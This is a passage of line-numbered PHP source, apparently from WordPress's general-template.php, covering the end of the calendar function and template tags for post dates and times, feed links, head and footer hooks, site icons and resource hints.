1951 /* translators: Calendar caption: 1: month name, 2: 4-digit year */
1952 $calendar_caption = _x('%1$s %2$s', 'calendar caption');
1953 $calendar_output = '<table id="wp-calendar">
1954 <caption>' . sprintf(
1955 $calendar_caption,
1956 $wp_locale->get_month( $thismonth ),
1957 date( 'Y', $unixmonth )
1958 ) . '</caption>
1959 <thead>
1960 <tr>';
1961
1962 $myweek = array();
1963
1964 for ( $wdcount = 0; $wdcount <= 6; $wdcount++ ) {
1965 $myweek[] = $wp_locale->get_weekday( ( $wdcount + $week_begins ) % 7 );
1966 }
1967
1968 foreach ( $myweek as $wd ) {
1969 $day_name = $initial ? $wp_locale->get_weekday_initial( $wd ) : $wp_locale->get_weekday_abbrev( $wd );
1970 $wd = esc_attr( $wd );
1971 $calendar_output .= "\n\t\t<th scope=\"col\" title=\"$wd\">$day_name</th>";
1972 }
1973
1974 $calendar_output .= '
1975 </tr>
1976 </thead>
1977
1978 <tfoot>
1979 <tr>';
1980
1981 if ( $previous ) {
1982 $calendar_output .= "\n\t\t".'<td colspan="3" id="prev"><a href="' . get_month_link( $previous->year, $previous->month ) . '">« ' .
1983 $wp_locale->get_month_abbrev( $wp_locale->get_month( $previous->month ) ) .
1984 '</a></td>';
1985 } else {
1986 $calendar_output .= "\n\t\t".'<td colspan="3" id="prev" class="pad"> </td>';
1987 }
1988
1989 $calendar_output .= "\n\t\t".'<td class="pad"> </td>';
1990
1991 if ( $next ) {
1992 $calendar_output .= "\n\t\t".'<td colspan="3" id="next"><a href="' . get_month_link( $next->year, $next->month ) . '">' .
1993 $wp_locale->get_month_abbrev( $wp_locale->get_month( $next->month ) ) .
1994 ' »</a></td>';
1995 } else {
1996 $calendar_output .= "\n\t\t".'<td colspan="3" id="next" class="pad"> </td>';
1997 }
1998
1999 $calendar_output .= '
2000 </tr>
2001 </tfoot>
2002
2003 <tbody>
2004 <tr>';
2005
2006 $daywithpost = array();
2007
2008 // Get days with posts
2009 $dayswithposts = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date)
2010 FROM $wpdb->posts WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00'
2011 AND post_type = 'post' AND post_status = 'publish'
2012 AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59'", ARRAY_N);
2013 if ( $dayswithposts ) {
2014 foreach ( (array) $dayswithposts as $daywith ) {
2015 $daywithpost[] = $daywith[0];
2016 }
2017 }
2018
2019 // See how much we should pad in the beginning
2020 $pad = calendar_week_mod( date( 'w', $unixmonth ) - $week_begins );
2021 if ( 0 != $pad ) {
2022 $calendar_output .= "\n\t\t".'<td colspan="'. esc_attr( $pad ) .'" class="pad"> </td>';
2023 }
2024
2025 $newrow = false;
2026 $daysinmonth = (int) date( 't', $unixmonth );
2027
2028 for ( $day = 1; $day <= $daysinmonth; ++$day ) {
2029 if ( isset($newrow) && $newrow ) {
2030 $calendar_output .= "\n\t</tr>\n\t<tr>\n\t\t";
2031 }
2032 $newrow = false;
2033
2034 if ( $day == gmdate( 'j', $ts ) &&
2035 $thismonth == gmdate( 'm', $ts ) &&
2036 $thisyear == gmdate( 'Y', $ts ) ) {
2037 $calendar_output .= '<td id="today">';
2038 } else {
2039 $calendar_output .= '<td>';
2040 }
2041
2042 if ( in_array( $day, $daywithpost ) ) {
2043 // any posts today?
2044 $date_format = date( _x( 'F j, Y', 'daily archives date format' ), strtotime( "{$thisyear}-{$thismonth}-{$day}" ) );
2045 $label = sprintf( __( 'Posts published on %s' ), $date_format );
2046 $calendar_output .= sprintf(
2047 '<a href="%s" aria-label="%s">%s</a>',
2048 get_day_link( $thisyear, $thismonth, $day ),
2049 esc_attr( $label ),
2050 $day
2051 );
2052 } else {
2053 $calendar_output .= $day;
2054 }
2055 $calendar_output .= '</td>';
2056
2057 if ( 6 == calendar_week_mod( date( 'w', mktime(0, 0 , 0, $thismonth, $day, $thisyear ) ) - $week_begins ) ) {
2058 $newrow = true;
2059 }
2060 }
2061
2062 $pad = 7 - calendar_week_mod( date( 'w', mktime( 0, 0 , 0, $thismonth, $day, $thisyear ) ) - $week_begins );
2063 if ( $pad != 0 && $pad != 7 ) {
2064 $calendar_output .= "\n\t\t".'<td class="pad" colspan="'. esc_attr( $pad ) .'"> </td>';
2065 }
2066 $calendar_output .= "\n\t</tr>\n\t</tbody>\n\t</table>";
2067
2068 $cache[ $key ] = $calendar_output;
2069 wp_cache_set( 'get_calendar', $cache, 'calendar' );
2070
2071 if ( $echo ) {
2072 /**
2073 * Filters the HTML calendar output.
2074 *
2075 * @since 3.0.0
2076 *
2077 * @param string $calendar_output HTML output of the calendar.
2078 */
2079 echo apply_filters( 'get_calendar', $calendar_output );
2080 return;
2081 }
2082 /** This filter is documented in wp-includes/general-template.php */
2083 return apply_filters( 'get_calendar', $calendar_output );
2084}
2085
2086/**
2087 * Purge the cached results of get_calendar.
2088 *
2089 * @see get_calendar
2090 * @since 2.1.0
2091 */
2092function delete_get_calendar_cache() {
2093 wp_cache_delete( 'get_calendar', 'calendar' );
2094}
2095
2096/**
2097 * Display all of the allowed tags in HTML format with attributes.
2098 *
2099 * This is useful for displaying in the comment area, which elements and
2100 * attributes are supported. As well as any plugins which want to display it.
2101 *
2102 * @since 1.0.1
2103 *
2104 * @global array $allowedtags
2105 *
2106 * @return string HTML allowed tags entity encoded.
2107 */
2108function allowed_tags() {
2109 global $allowedtags;
2110 $allowed = '';
2111 foreach ( (array) $allowedtags as $tag => $attributes ) {
2112 $allowed .= '<'.$tag;
2113 if ( 0 < count($attributes) ) {
2114 foreach ( $attributes as $attribute => $limits ) {
2115 $allowed .= ' '.$attribute.'=""';
2116 }
2117 }
2118 $allowed .= '> ';
2119 }
2120 return htmlentities( $allowed );
2121}
2122
2123/***** Date/Time tags *****/
2124
2125/**
2126 * Outputs the date in iso8601 format for xml files.
2127 *
2128 * @since 1.0.0
2129 */
2130function the_date_xml() {
2131 echo mysql2date( 'Y-m-d', get_post()->post_date, false );
2132}
2133
2134/**
2135 * Display or Retrieve the date the current post was written (once per date)
2136 *
2137 * Will only output the date if the current post's date is different from the
2138 * previous one output.
2139 *
2140 * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the
2141 * function is called several times for each post.
2142 *
2143 * HTML output can be filtered with 'the_date'.
2144 * Date string output can be filtered with 'get_the_date'.
2145 *
2146 * @since 0.71
2147 *
2148 * @global string|int|bool $currentday
2149 * @global string|int|bool $previousday
2150 *
2151 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2152 * @param string $before Optional. Output before the date.
2153 * @param string $after Optional. Output after the date.
2154 * @param bool $echo Optional, default is display. Whether to echo the date or return it.
2155 * @return string|void String if retrieving.
2156 */
2157function the_date( $d = '', $before = '', $after = '', $echo = true ) {
2158 global $currentday, $previousday;
2159
2160 if ( is_new_day() ) {
2161 $the_date = $before . get_the_date( $d ) . $after;
2162 $previousday = $currentday;
2163
2164 /**
2165 * Filters the date a post was published for display.
2166 *
2167 * @since 0.71
2168 *
2169 * @param string $the_date The formatted date string.
2170 * @param string $d PHP date format. Defaults to 'date_format' option
2171 * if not specified.
2172 * @param string $before HTML output before the date.
2173 * @param string $after HTML output after the date.
2174 */
2175 $the_date = apply_filters( 'the_date', $the_date, $d, $before, $after );
2176
2177 if ( $echo )
2178 echo $the_date;
2179 else
2180 return $the_date;
2181 }
2182}
2183
2184/**
2185 * Retrieve the date on which the post was written.
2186 *
2187 * Unlike the_date() this function will always return the date.
2188 * Modify output with the {@see 'get_the_date'} filter.
2189 *
2190 * @since 3.0.0
2191 *
2192 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2193 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2194 * @return false|string Date the current post was written. False on failure.
2195 */
2196function get_the_date( $d = '', $post = null ) {
2197 $post = get_post( $post );
2198
2199 if ( ! $post ) {
2200 return false;
2201 }
2202
2203 if ( '' == $d ) {
2204 $the_date = mysql2date( get_option( 'date_format' ), $post->post_date );
2205 } else {
2206 $the_date = mysql2date( $d, $post->post_date );
2207 }
2208
2209 /**
2210 * Filters the date a post was published.
2211 *
2212 * @since 3.0.0
2213 *
2214 * @param string $the_date The formatted date.
2215 * @param string $d PHP date format. Defaults to 'date_format' option
2216 * if not specified.
2217 * @param int|WP_Post $post The post object or ID.
2218 */
2219 return apply_filters( 'get_the_date', $the_date, $d, $post );
2220}
2221
2222/**
2223 * Display the date on which the post was last modified.
2224 *
2225 * @since 2.1.0
2226 *
2227 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2228 * @param string $before Optional. Output before the date.
2229 * @param string $after Optional. Output after the date.
2230 * @param bool $echo Optional, default is display. Whether to echo the date or return it.
2231 * @return string|void String if retrieving.
2232 */
2233function the_modified_date( $d = '', $before = '', $after = '', $echo = true ) {
2234 $the_modified_date = $before . get_the_modified_date($d) . $after;
2235
2236 /**
2237 * Filters the date a post was last modified for display.
2238 *
2239 * @since 2.1.0
2240 *
2241 * @param string $the_modified_date The last modified date.
2242 * @param string $d PHP date format. Defaults to 'date_format' option
2243 * if not specified.
2244 * @param string $before HTML output before the date.
2245 * @param string $after HTML output after the date.
2246 */
2247 $the_modified_date = apply_filters( 'the_modified_date', $the_modified_date, $d, $before, $after );
2248
2249 if ( $echo )
2250 echo $the_modified_date;
2251 else
2252 return $the_modified_date;
2253
2254}
2255
2256/**
2257 * Retrieve the date on which the post was last modified.
2258 *
2259 * @since 2.1.0
2260 * @since 4.6.0 Added the `$post` parameter.
2261 *
2262 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2263 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2264 * @return false|string Date the current post was modified. False on failure.
2265 */
2266function get_the_modified_date( $d = '', $post = null ) {
2267 $post = get_post( $post );
2268
2269 if ( ! $post ) {
2270 // For backward compatibility, failures go through the filter below.
2271 $the_time = false;
2272 } elseif ( empty( $d ) ) {
2273 $the_time = get_post_modified_time( get_option( 'date_format' ), false, $post, true );
2274 } else {
2275 $the_time = get_post_modified_time( $d, false, $post, true );
2276 }
2277
2278 /**
2279 * Filters the date a post was last modified.
2280 *
2281 * @since 2.1.0
2282 * @since 4.6.0 Added the `$post` parameter.
2283 *
2284 * @param string $the_time The formatted date.
2285 * @param string $d PHP date format. Defaults to value specified in
2286 * 'date_format' option.
2287 * @param WP_Post $post WP_Post object.
2288 */
2289 return apply_filters( 'get_the_modified_date', $the_time, $d, $post );
2290}
2291
2292/**
2293 * Display the time at which the post was written.
2294 *
2295 * @since 0.71
2296 *
2297 * @param string $d Either 'G', 'U', or php date format.
2298 */
2299function the_time( $d = '' ) {
2300 /**
2301 * Filters the time a post was written for display.
2302 *
2303 * @since 0.71
2304 *
2305 * @param string $get_the_time The formatted time.
2306 * @param string $d The time format. Accepts 'G', 'U',
2307 * or php date format.
2308 */
2309 echo apply_filters( 'the_time', get_the_time( $d ), $d );
2310}
2311
2312/**
2313 * Retrieve the time at which the post was written.
2314 *
2315 * @since 1.5.0
2316 *
2317 * @param string $d Optional. Format to use for retrieving the time the post
2318 * was written. Either 'G', 'U', or php date format defaults
2319 * to the value specified in the time_format option. Default empty.
2320 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2321 * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
2322 */
2323function get_the_time( $d = '', $post = null ) {
2324 $post = get_post($post);
2325
2326 if ( ! $post ) {
2327 return false;
2328 }
2329
2330 if ( '' == $d )
2331 $the_time = get_post_time(get_option('time_format'), false, $post, true);
2332 else
2333 $the_time = get_post_time($d, false, $post, true);
2334
2335 /**
2336 * Filters the time a post was written.
2337 *
2338 * @since 1.5.0
2339 *
2340 * @param string $the_time The formatted time.
2341 * @param string $d Format to use for retrieving the time the post was written.
2342 * Accepts 'G', 'U', or php date format value specified
2343 * in 'time_format' option. Default empty.
2344 * @param int|WP_Post $post WP_Post object or ID.
2345 */
2346 return apply_filters( 'get_the_time', $the_time, $d, $post );
2347}
2348
2349/**
2350 * Retrieve the time at which the post was written.
2351 *
2352 * @since 2.0.0
2353 *
2354 * @param string $d Optional. Format to use for retrieving the time the post
2355 * was written. Either 'G', 'U', or php date format. Default 'U'.
2356 * @param bool $gmt Optional. Whether to retrieve the GMT time. Default false.
2357 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2358 * @param bool $translate Whether to translate the time string. Default false.
2359 * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
2360 */
2361function get_post_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
2362 $post = get_post($post);
2363
2364 if ( ! $post ) {
2365 return false;
2366 }
2367
2368 if ( $gmt )
2369 $time = $post->post_date_gmt;
2370 else
2371 $time = $post->post_date;
2372
2373 $time = mysql2date($d, $time, $translate);
2374
2375 /**
2376 * Filters the localized time a post was written.
2377 *
2378 * @since 2.6.0
2379 *
2380 * @param string $time The formatted time.
2381 * @param string $d Format to use for retrieving the time the post was written.
2382 * Accepts 'G', 'U', or php date format. Default 'U'.
2383 * @param bool $gmt Whether to retrieve the GMT time. Default false.
2384 */
2385 return apply_filters( 'get_post_time', $time, $d, $gmt );
2386}
2387
2388/**
2389 * Display the time at which the post was last modified.
2390 *
2391 * @since 2.0.0
2392 *
2393 * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
2394 */
2395function the_modified_time($d = '') {
2396 /**
2397 * Filters the localized time a post was last modified, for display.
2398 *
2399 * @since 2.0.0
2400 *
2401 * @param string $get_the_modified_time The formatted time.
2402 * @param string $d The time format. Accepts 'G', 'U',
2403 * or php date format. Defaults to value
2404 * specified in 'time_format' option.
2405 */
2406 echo apply_filters( 'the_modified_time', get_the_modified_time($d), $d );
2407}
2408
2409/**
2410 * Retrieve the time at which the post was last modified.
2411 *
2412 * @since 2.0.0
2413 * @since 4.6.0 Added the `$post` parameter.
2414 *
2415 * @param string $d Optional. Format to use for retrieving the time the post
2416 * was modified. Either 'G', 'U', or php date format defaults
2417 * to the value specified in the time_format option. Default empty.
2418 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2419 * @return false|string Formatted date string or Unix timestamp. False on failure.
2420 */
2421function get_the_modified_time( $d = '', $post = null ) {
2422 $post = get_post( $post );
2423
2424 if ( ! $post ) {
2425 // For backward compatibility, failures go through the filter below.
2426 $the_time = false;
2427 } elseif ( empty( $d ) ) {
2428 $the_time = get_post_modified_time( get_option( 'time_format' ), false, $post, true );
2429 } else {
2430 $the_time = get_post_modified_time( $d, false, $post, true );
2431 }
2432
2433 /**
2434 * Filters the localized time a post was last modified.
2435 *
2436 * @since 2.0.0
2437 * @since 4.6.0 Added the `$post` parameter.
2438 *
2439 * @param string $the_time The formatted time.
2440 * @param string $d Format to use for retrieving the time the post was
2441 * written. Accepts 'G', 'U', or php date format. Defaults
2442 * to value specified in 'time_format' option.
2443 * @param WP_Post $post WP_Post object.
2444 */
2445 return apply_filters( 'get_the_modified_time', $the_time, $d, $post );
2446}
2447
2448/**
2449 * Retrieve the time at which the post was last modified.
2450 *
2451 * @since 2.0.0
2452 *
2453 * @param string $d Optional. Format to use for retrieving the time the post
2454 * was modified. Either 'G', 'U', or php date format. Default 'U'.
2455 * @param bool $gmt Optional. Whether to retrieve the GMT time. Default false.
2456 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2457 * @param bool $translate Whether to translate the time string. Default false.
2458 * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
2459 */
2460function get_post_modified_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
2461 $post = get_post($post);
2462
2463 if ( ! $post ) {
2464 return false;
2465 }
2466
2467 if ( $gmt )
2468 $time = $post->post_modified_gmt;
2469 else
2470 $time = $post->post_modified;
2471 $time = mysql2date($d, $time, $translate);
2472
2473 /**
2474 * Filters the localized time a post was last modified.
2475 *
2476 * @since 2.8.0
2477 *
2478 * @param string $time The formatted time.
2479 * @param string $d The date format. Accepts 'G', 'U', or php date format. Default 'U'.
2480 * @param bool $gmt Whether to return the GMT time. Default false.
2481 */
2482 return apply_filters( 'get_post_modified_time', $time, $d, $gmt );
2483}
2484
2485/**
2486 * Display the weekday on which the post was written.
2487 *
2488 * @since 0.71
2489 *
2490 * @global WP_Locale $wp_locale
2491 */
2492function the_weekday() {
2493 global $wp_locale;
2494 $the_weekday = $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
2495
2496 /**
2497 * Filters the weekday on which the post was written, for display.
2498 *
2499 * @since 0.71
2500 *
2501 * @param string $the_weekday
2502 */
2503 echo apply_filters( 'the_weekday', $the_weekday );
2504}
2505
2506/**
2507 * Display the weekday on which the post was written.
2508 *
2509 * Will only output the weekday if the current post's weekday is different from
2510 * the previous one output.
2511 *
2512 * @since 0.71
2513 *
2514 * @global WP_Locale $wp_locale
2515 * @global string|int|bool $currentday
2516 * @global string|int|bool $previousweekday
2517 *
2518 * @param string $before Optional Output before the date.
2519 * @param string $after Optional Output after the date.
2520 */
2521function the_weekday_date($before='',$after='') {
2522 global $wp_locale, $currentday, $previousweekday;
2523 $the_weekday_date = '';
2524 if ( $currentday != $previousweekday ) {
2525 $the_weekday_date .= $before;
2526 $the_weekday_date .= $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
2527 $the_weekday_date .= $after;
2528 $previousweekday = $currentday;
2529 }
2530
2531 /**
2532 * Filters the localized date on which the post was written, for display.
2533 *
2534 * @since 0.71
2535 *
2536 * @param string $the_weekday_date
2537 * @param string $before The HTML to output before the date.
2538 * @param string $after The HTML to output after the date.
2539 */
2540 $the_weekday_date = apply_filters( 'the_weekday_date', $the_weekday_date, $before, $after );
2541 echo $the_weekday_date;
2542}
2543
2544/**
2545 * Fire the wp_head action.
2546 *
2547 * See {@see 'wp_head'}.
2548 *
2549 * @since 1.2.0
2550 */
2551function wp_head() {
2552 /**
2553 * Prints scripts or data in the head tag on the front end.
2554 *
2555 * @since 1.5.0
2556 */
2557 do_action( 'wp_head' );
2558}
2559
2560/**
2561 * Fire the wp_footer action.
2562 *
2563 * See {@see 'wp_footer'}.
2564 *
2565 * @since 1.5.1
2566 */
2567function wp_footer() {
2568 /**
2569 * Prints scripts or data before the closing body tag on the front end.
2570 *
2571 * @since 1.5.1
2572 */
2573 do_action( 'wp_footer' );
2574}
2575
2576/**
2577 * Display the links to the general feeds.
2578 *
2579 * @since 2.8.0
2580 *
2581 * @param array $args Optional arguments.
2582 */
2583function feed_links( $args = array() ) {
2584 if ( !current_theme_supports('automatic-feed-links') )
2585 return;
2586
2587 $defaults = array(
2588 /* translators: Separator between blog name and feed type in feed links */
2589 'separator' => _x('»', 'feed link'),
2590 /* translators: 1: blog title, 2: separator (raquo) */
2591 'feedtitle' => __('%1$s %2$s Feed'),
2592 /* translators: 1: blog title, 2: separator (raquo) */
2593 'comstitle' => __('%1$s %2$s Comments Feed'),
2594 );
2595
2596 $args = wp_parse_args( $args, $defaults );
2597
2598 /**
2599 * Filters whether to display the posts feed link.
2600 *
2601 * @since 4.4.0
2602 *
2603 * @param bool $show Whether to display the posts feed link. Default true.
2604 */
2605 if ( apply_filters( 'feed_links_show_posts_feed', true ) ) {
2606 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['feedtitle'], get_bloginfo( 'name' ), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link() ) . "\" />\n";
2607 }
2608
2609 /**
2610 * Filters whether to display the comments feed link.
2611 *
2612 * @since 4.4.0
2613 *
2614 * @param bool $show Whether to display the comments feed link. Default true.
2615 */
2616 if ( apply_filters( 'feed_links_show_comments_feed', true ) ) {
2617 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['comstitle'], get_bloginfo( 'name' ), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link( 'comments_' . get_default_feed() ) ) . "\" />\n";
2618 }
2619}
2620
2621/**
2622 * Display the links to the extra feeds such as category feeds.
2623 *
2624 * @since 2.8.0
2625 *
2626 * @param array $args Optional arguments.
2627 */
2628function feed_links_extra( $args = array() ) {
2629 $defaults = array(
2630 /* translators: Separator between blog name and feed type in feed links */
2631 'separator' => _x('»', 'feed link'),
2632 /* translators: 1: blog name, 2: separator(raquo), 3: post title */
2633 'singletitle' => __('%1$s %2$s %3$s Comments Feed'),
2634 /* translators: 1: blog name, 2: separator(raquo), 3: category name */
2635 'cattitle' => __('%1$s %2$s %3$s Category Feed'),
2636 /* translators: 1: blog name, 2: separator(raquo), 3: tag name */
2637 'tagtitle' => __('%1$s %2$s %3$s Tag Feed'),
2638 /* translators: 1: blog name, 2: separator(raquo), 3: term name, 4: taxonomy singular name */
2639 'taxtitle' => __('%1$s %2$s %3$s %4$s Feed'),
2640 /* translators: 1: blog name, 2: separator(raquo), 3: author name */
2641 'authortitle' => __('%1$s %2$s Posts by %3$s Feed'),
2642 /* translators: 1: blog name, 2: separator(raquo), 3: search phrase */
2643 'searchtitle' => __('%1$s %2$s Search Results for “%3$s” Feed'),
2644 /* translators: 1: blog name, 2: separator(raquo), 3: post type name */
2645 'posttypetitle' => __('%1$s %2$s %3$s Feed'),
2646 );
2647
2648 $args = wp_parse_args( $args, $defaults );
2649
2650 if ( is_singular() ) {
2651 $id = 0;
2652 $post = get_post( $id );
2653
2654 if ( comments_open() || pings_open() || $post->comment_count > 0 ) {
2655 $title = sprintf( $args['singletitle'], get_bloginfo('name'), $args['separator'], the_title_attribute( array( 'echo' => false ) ) );
2656 $href = get_post_comments_feed_link( $post->ID );
2657 }
2658 } elseif ( is_post_type_archive() ) {
2659 $post_type = get_query_var( 'post_type' );
2660 if ( is_array( $post_type ) )
2661 $post_type = reset( $post_type );
2662
2663 $post_type_obj = get_post_type_object( $post_type );
2664 $title = sprintf( $args['posttypetitle'], get_bloginfo( 'name' ), $args['separator'], $post_type_obj->labels->name );
2665 $href = get_post_type_archive_feed_link( $post_type_obj->name );
2666 } elseif ( is_category() ) {
2667 $term = get_queried_object();
2668
2669 if ( $term ) {
2670 $title = sprintf( $args['cattitle'], get_bloginfo('name'), $args['separator'], $term->name );
2671 $href = get_category_feed_link( $term->term_id );
2672 }
2673 } elseif ( is_tag() ) {
2674 $term = get_queried_object();
2675
2676 if ( $term ) {
2677 $title = sprintf( $args['tagtitle'], get_bloginfo('name'), $args['separator'], $term->name );
2678 $href = get_tag_feed_link( $term->term_id );
2679 }
2680 } elseif ( is_tax() ) {
2681 $term = get_queried_object();
2682 $tax = get_taxonomy( $term->taxonomy );
2683 $title = sprintf( $args['taxtitle'], get_bloginfo('name'), $args['separator'], $term->name, $tax->labels->singular_name );
2684 $href = get_term_feed_link( $term->term_id, $term->taxonomy );
2685 } elseif ( is_author() ) {
2686 $author_id = intval( get_query_var('author') );
2687
2688 $title = sprintf( $args['authortitle'], get_bloginfo('name'), $args['separator'], get_the_author_meta( 'display_name', $author_id ) );
2689 $href = get_author_feed_link( $author_id );
2690 } elseif ( is_search() ) {
2691 $title = sprintf( $args['searchtitle'], get_bloginfo('name'), $args['separator'], get_search_query( false ) );
2692 $href = get_search_feed_link();
2693 } elseif ( is_post_type_archive() ) {
2694 $title = sprintf( $args['posttypetitle'], get_bloginfo('name'), $args['separator'], post_type_archive_title( '', false ) );
2695 $post_type_obj = get_queried_object();
2696 if ( $post_type_obj )
2697 $href = get_post_type_archive_feed_link( $post_type_obj->name );
2698 }
2699
2700 if ( isset($title) && isset($href) )
2701 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( $title ) . '" href="' . esc_url( $href ) . '" />' . "\n";
2702}
2703
2704/**
2705 * Display the link to the Really Simple Discovery service endpoint.
2706 *
2707 * @link http://archipelago.phrasewise.com/rsd
2708 * @since 2.0.0
2709 */
2710function rsd_link() {
2711 echo '<link rel="EditURI" type="application/rsd+xml" title="RSD" href="' . esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) ) . '" />' . "\n";
2712}
2713
2714/**
2715 * Display the link to the Windows Live Writer manifest file.
2716 *
2717 * @link https://msdn.microsoft.com/en-us/library/bb463265.aspx
2718 * @since 2.3.1
2719 */
2720function wlwmanifest_link() {
2721 echo '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="',
2722 includes_url( 'wlwmanifest.xml' ), '" /> ', "\n";
2723}
2724
2725/**
2726 * Displays a noindex meta tag if required by the blog configuration.
2727 *
2728 * If a blog is marked as not being public then the noindex meta tag will be
2729 * output to tell web robots not to index the page content. Add this to the
2730 * {@see 'wp_head'} action.
2731 *
2732 * Typical usage is as a {@see 'wp_head'} callback:
2733 *
2734 * add_action( 'wp_head', 'noindex' );
2735 *
2736 * @see wp_no_robots
2737 *
2738 * @since 2.1.0
2739 */
2740function noindex() {
2741 // If the blog is not public, tell robots to go away.
2742 if ( '0' == get_option('blog_public') )
2743 wp_no_robots();
2744}
2745
2746/**
2747 * Display a noindex meta tag.
2748 *
2749 * Outputs a noindex meta tag that tells web robots not to index the page content.
2750 * Typical usage is as a wp_head callback. add_action( 'wp_head', 'wp_no_robots' );
2751 *
2752 * @since 3.3.0
2753 */
2754function wp_no_robots() {
2755 echo "<meta name='robots' content='noindex,follow' />\n";
2756}
2757
2758/**
2759 * Display site icon meta tags.
2760 *
2761 * @since 4.3.0
2762 *
2763 * @link https://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-icon HTML5 specification link icon.
2764 */
2765function wp_site_icon() {
2766 if ( ! has_site_icon() && ! is_customize_preview() ) {
2767 return;
2768 }
2769
2770 $meta_tags = array(
2771 sprintf( '<link rel="icon" href="%s" sizes="32x32" />', esc_url( get_site_icon_url( 32 ) ) ),
2772 sprintf( '<link rel="icon" href="%s" sizes="192x192" />', esc_url( get_site_icon_url( 192 ) ) ),
2773 sprintf( '<link rel="apple-touch-icon-precomposed" href="%s" />', esc_url( get_site_icon_url( 180 ) ) ),
2774 sprintf( '<meta name="msapplication-TileImage" content="%s" />', esc_url( get_site_icon_url( 270 ) ) ),
2775 );
2776
2777 /**
2778 * Filters the site icon meta tags, so Plugins can add their own.
2779 *
2780 * @since 4.3.0
2781 *
2782 * @param array $meta_tags Site Icon meta elements.
2783 */
2784 $meta_tags = apply_filters( 'site_icon_meta_tags', $meta_tags );
2785 $meta_tags = array_filter( $meta_tags );
2786
2787 foreach ( $meta_tags as $meta_tag ) {
2788 echo "$meta_tag\n";
2789 }
2790}
2791
2792/**
2793 * Prints resource hints to browsers for pre-fetching, pre-rendering
2794 * and pre-connecting to web sites.
2795 *
2796 * Gives hints to browsers to prefetch specific pages or render them
2797 * in the background, to perform DNS lookups or to begin the connection
2798 * handshake (DNS, TCP, TLS) in the background.
2799 *
2800 * These performance improving indicators work by using `<link rel"…">`.
2801 *
2802 * @since 4.6.0
2803 */
2804function wp_resource_hints() {
2805 $hints = array(
2806 'dns-prefetch' => wp_dependencies_unique_hosts(),
2807 'preconnect' => array(),
2808 'prefetch' => array(),
2809 'prerender' => array(),
2810 );
2811
2812 /*
2813 * Add DNS prefetch for the Emoji CDN.
2814 * The path is removed in the foreach loop below.
2815 */
2816 /** This filter is documented in wp-includes/formatting.php */
2817 $hints['dns-prefetch'][] = apply_filters( 'emoji_svg_url', 'https://s.w.org/images/core/emoji/2/svg/' );
2818
2819 foreach ( $hints as $relation_type => $urls ) {
2820 /**
2821 * Filters domains and URLs for resource hints of relation type.
2822 *
2823 * @since 4.6.0
2824 *
2825 * @param array $urls URLs to print for resource hints.
2826 * @param string $relation_type The relation type the URLs are printed for, e.g. 'preconnect' or 'prerender'.
2827 */
2828 $urls = apply_filters( 'wp_resource_hints', $urls, $relation_type );
2829
2830 foreach ( $urls as $key => $url ) {
2831 $url = esc_url( $url, array( 'http', 'https' ) );
2832 if ( ! $url ) {
2833 unset( $urls[ $key ] );
2834 continue;
2835 }
2836
2837 if ( in_array( $relation_type, array( 'preconnect', 'dns-prefetch' ) ) ) {
2838 $parsed = wp_parse_url( $url );
2839 if ( empty( $parsed['host'] ) ) {
2840 unset( $urls[ $key ] );
2841 continue;
2842 }
2843
2844 if ( 'preconnect' === $relation_type && ! empty( $parsed['scheme'] ) ) {
2845 $url = $parsed['scheme'] . '://' . $parsed['host'];
2846 } else {
2847 // Use protocol-relative URLs for dns-prefetch or if scheme is missing.
2848 $url = '//' . $parsed['host'];
2849 }
2850 }
2851
2852 $urls[ $key ] = $url;
2853 }
2854
2855 $urls = array_unique( $urls );
2856
2857 foreach ( $urls as $url ) {
2858 printf( "<link rel='%s' href='%s' />\n", $relation_type, $url );
2859 }
2860 }
2861}
2862
2863/**
2864 * Retrieves a list of unique hosts of all enqueued scripts and styles.
2865 *
2866 * @since 4.6.0
2867 *
2868 * @return array A list of unique hosts of enqueued scripts and styles.
2869 */
2870function wp_dependencies_unique_hosts() {
2871 global $wp_scripts, $wp_styles;
2872
2873 $unique_hosts = array();
2874
2875 foreach ( array( $wp_scripts, $wp_styles ) as $dependencies ) {
2876 if ( $dependencies instanceof WP_Dependencies && ! empty( $dependencies->queue ) ) {
2877 foreach ( $dependencies->queue as $handle ) {
2878 if ( ! isset( $dependencies->registered[ $handle ] ) ) {
2879 continue;
2880 }
2881
2882 /* @var _WP_Dependency $dependency */
2883 $dependency = $dependencies->registered[ $handle ];
2884 $parsed = wp_parse_url( $dependency->src );
2885
2886 if ( ! empty( $parsed['host'] ) && ! in_array( $parsed['host'], $unique_hosts ) && $parsed['host'] !== $_SERVER['SERVER_NAME'] ) {
2887 $unique_hosts[] = $parsed['host'];
2888 }
2889 }
2890 }
2891 }
2892
2893 return $unique_hosts;
2894}
2895
2896/**
2897 * Whether the user should have a WYSIWIG editor.
2898 *
